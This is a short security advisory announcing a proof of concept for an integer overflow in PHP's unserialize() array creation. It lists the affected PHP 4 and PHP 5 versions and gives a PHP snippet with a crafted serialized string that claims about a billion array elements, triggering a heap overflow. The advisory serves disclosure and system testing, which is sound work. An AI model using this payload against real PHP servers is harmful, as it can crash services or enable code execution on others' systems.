[EXPL] PHP unserialize() Array Creation Integer Overflow (PoC)

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PHP unserialize() Array Creation Integer Overflow (PoC)
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SUMMARY

As we previously reported in
<http://www.securiteam.com/unixfocus/6W00C00H5Y.html> PHP unserialize()
Array Creation Integer Overflow, a vulnerability in PHP allows attackers
to cause the program to overflow an internal heap buffer potentially
allowing the attacker to cause the product to execute arbitarry code. The
following proof of concept allows you to test your system for the
mentioned PHP unserialize() vulnerability.

DETAILS

Vulnerable Systems:
* PHP 5 version 5.1.6 and prior
* PHP 4 version prior to 4.3.0

Immune Systems:
* PHP 4 version 4.3.0 and newer

<?

print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>


ADDITIONAL INFORMATION

The information has been provided by <mailto:slythers@xxxxxxxxx> Slythers
Bro.



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